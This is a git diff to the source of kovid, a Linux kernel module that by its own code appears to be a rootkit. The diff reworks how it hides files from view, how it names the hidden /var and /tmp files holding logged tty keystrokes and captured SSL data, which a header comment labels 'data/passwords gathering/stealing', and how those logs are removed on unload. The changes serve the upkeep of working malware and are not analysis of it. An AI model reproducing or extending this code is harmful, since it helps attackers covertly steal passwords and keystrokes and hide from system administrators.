diff --git a/src/kovid.c b/src/kovid.c
index caf08e4..963765e 100644
--- a/src/kovid.c
+++ b/src/kovid.c
@@ -532,12 +532,6 @@ static ssize_t write_cb(struct file *fptr, const char __user *user,
             /* show current hidden files/directories */
         } else if(!strcmp(buf, "-l")) {
             fs_list_names();
-            /* set tty log file to be removed on rmmod */
-        } else if (!strcmp(buf, "-t0")) {
-            kv_keylog_rm_log(true);
-            /* unset tty log file to be removed on rmmod */
-        } else if (!strcmp(buf, "-t1")) {
-            kv_keylog_rm_log(false);
             /* fetch base address of process */
         } else if (!strncmp(buf, "-b", MIN(2, size))) {
             char *tmp = &buf[3];
diff --git a/src/lkm.h b/src/lkm.h
index 6d10e22..506e0e3 100644
--- a/src/lkm.h
+++ b/src/lkm.h
@@ -156,9 +156,6 @@ int kv_add_proc_interface(void);
 void kv_remove_proc_interface(void);
 int kv_is_proc_interface_loaded(void);
 
-/** data/passwords gathering/stealing */
-void kv_keylog_rm_log(bool);
-
 /** whatever */
 char *kv_util_random_AZ_string(size_t);
 
diff --git a/src/sys.c b/src/sys.c
index 2bd72f3..3323b04 100644
--- a/src/sys.c
+++ b/src/sys.c
@@ -705,25 +705,14 @@ static void _keylog_cleanup_list(void) {
     }
 }
 
-static bool _rm_tty_log = true;
-void kv_keylog_rm_log(bool rm_log) {
-    _rm_tty_log = rm_log;
-}
-
-static void _keylog_close_file(void) {
-    fs_kernel_close_file(ttyfilp);
-    ttyfilp = NULL;
-}
-
 void _keylog_cleanup(void) {
     char *tty;
 
     _keylog_cleanup_list();
-    _keylog_close_file();
+    fs_kernel_close_file(ttyfilp);
+    fs_file_rm(sys_ttyfile());
 
-    tty = sys_ttyfile();
-    if (tty && _rm_tty_log && fs_file_rm(tty))
-        prerr("Error removing %s\n", tty);
+    ttyfilp = NULL;
 }
 
 #if LINUX_VERSION_CODE < KERNEL_VERSION(5,12,0)
@@ -1035,9 +1024,8 @@ static char *_sys_file(char *prefix, char *file, int len) {
     if (*file == 0) {
         char s[8] = {0};
 
-        *s = '.';
-        snprintf(&s[1], 7, "%s", kv_util_random_AZ_string(7));
-        snprintf(file, len-1, "/var/%s", s);
+        snprintf(&s[0], 7, "%s", kv_util_random_AZ_string(7));
+        snprintf(file, len-1, "%s%s", prefix, s);
         {
             const char *tmp[] = {s,NULL};
             fs_add_name_ro(tmp, 0);
@@ -1049,13 +1037,21 @@ static char *_sys_file(char *prefix, char *file, int len) {
 }
 
 char *sys_ttyfile(void) {
-    static char tty[16];
-    return _sys_file("var", tty, sizeof(tty));
+    static char file[16] = {0};
+    if (*file == '\0') {
+        if (!_sys_file("/var/.", file, 16))
+            return NULL;
+    }
+    return file;
 }
 
 char *sys_sslfile(void) {
-    static char ssl[16];
-    return _sys_file("tmp", ssl, sizeof(ssl));
+    static char file[16] = {0};
+    if (*file == '\0') {
+        if (!_sys_file("/tmp/.", file, 16))
+            return NULL;
+    }
+    return file;
 }
 
 bool sys_init(void) {
@@ -1082,12 +1078,9 @@ bool sys_init(void) {
 
 void sys_deinit(void) {
     struct sys_addr_list *sl, *sl_safe;
-    char *ssl = sys_sslfile();
-
-    if (ssl)
-        fs_file_rm(ssl);
 
     fh_remove_hooks(ft_hooks);
+    fs_file_rm(sys_sslfile());
     _keylog_cleanup();
 
     list_for_each_entry_safe(sl, sl_safe, &sys_addr, list) {
diff --git a/src/util.c b/src/util.c
index 0237dd1..cd25af1 100644
--- a/src/util.c
+++ b/src/util.c
@@ -20,28 +20,30 @@
  * and must be freed when no longer needed
  */
 char *kv_util_random_AZ_string(size_t size) {
-    int i = 0;
-    char *buf = NULL;
-    if(!size) {
-        prerr("Wrong size parameter!!\n");
+
+    static const char charset[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+                                  "abcdefghijklmnopqrstuvwxyz"
+                                  "0123456789";
+    int i;
+    u8 byte;
+
+    if (size < 2) {
+        prerr("Invalid argument\n");
         return NULL;
     }
 
-    buf = kmalloc(size+1, GFP_KERNEL);
-    if(!buf) {
-        prerr("Could not allocate memory!\n");
+    char *buf = kmalloc(size, GFP_KERNEL);
+    if (!buf) {
+        prerr("Memory error\n");
         return NULL;
     }
 
-    get_random_bytes(buf, size);
-    for(i = 0; i < size; ++i) {
-        int byte = (int)buf[i];
-        if (byte < 0)
-            byte = ~byte;
-        /* ascii A-Z */
-        buf[i] = byte % (90 - (65 + 1)) + 65;
+    for (i = 0; i < size-1; ++i) {
+        get_random_bytes(&byte, 1);
+        buf[i] = charset[byte % (sizeof(charset) - 1)];
     }
-    buf[i] = 0;
+    buf[i] = '\0';
+
     return buf;
 }